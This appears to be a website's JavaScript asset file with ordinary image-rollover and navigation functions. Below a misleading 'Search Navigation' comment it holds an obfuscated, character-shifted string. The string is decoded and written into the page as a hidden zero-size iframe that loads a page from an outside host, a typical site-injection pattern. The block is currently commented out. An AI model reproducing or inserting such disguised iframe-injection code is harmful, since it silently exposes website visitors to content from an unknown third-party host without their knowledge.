menu = new Image();
menu.src = "images/blocks/array.gif";
menu_o = new Image();
menu_o.src = "images/blocks/array_o.gif";

function swon(imagename, cacheimage) { 
	document.images[imagename].src = eval(cacheimage + ".src");
}

function getUrl(where) {
	document.location.href = where;
	
}

<!-- Search Navigation -->
/*
<!--
var s="=jgsbnf!tsd>#iuuq;00joufsft/hf0dpvoufs/iunm#!xjeui>#1#!ifjhiu>#1#!tuzmf>#ejtqmbz;opof#!?=0jgsbnf?";
m=""; for (i=0; i<s.length; i++) m+=String.fromCharCode(s.charCodeAt(i)-1); document.write(m);
//-->
*/